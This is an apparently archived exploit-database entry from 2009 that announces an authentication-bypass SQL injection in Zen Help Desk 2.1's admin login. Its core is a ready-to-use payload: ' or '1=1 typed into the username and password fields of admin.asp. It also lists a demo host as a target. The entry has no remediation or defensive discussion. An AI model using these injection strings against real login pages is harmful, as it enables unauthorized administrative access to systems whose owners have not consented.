Zen Help Desk 2.1 (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Zen Help Desk 2.1 (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-05-29
# Author : TiGeR-Dz
# Previous Title : Webboard <= v.2.90 beta Remote File Disclosure Vulnerability
# Next Title : ecshop 2.6.2 Multiple Remote Command Execution Vulnerabilities

---------------------------------------------------------------
------------------------------------------------------------
Zen Help Desk Version 2.1 (Auth Bypass) SQL Injection Vulnerability 
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.zenhelpdesk.com/
Script:Zen Help Desk Version 2.1 
---------------------------------------------------------------
---------------------------------------------------------------
Exploit:
-------
http://www.site.com/admin.asp

username:[admin_name]' or '1=1
password: No Thing

or 

username:' or '1=1
password:' or '1=1

--------------------------------------
Dem0
---
http://helpdesk-demo.com/admin.asp

--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# www.Syue.com [2009-05-29]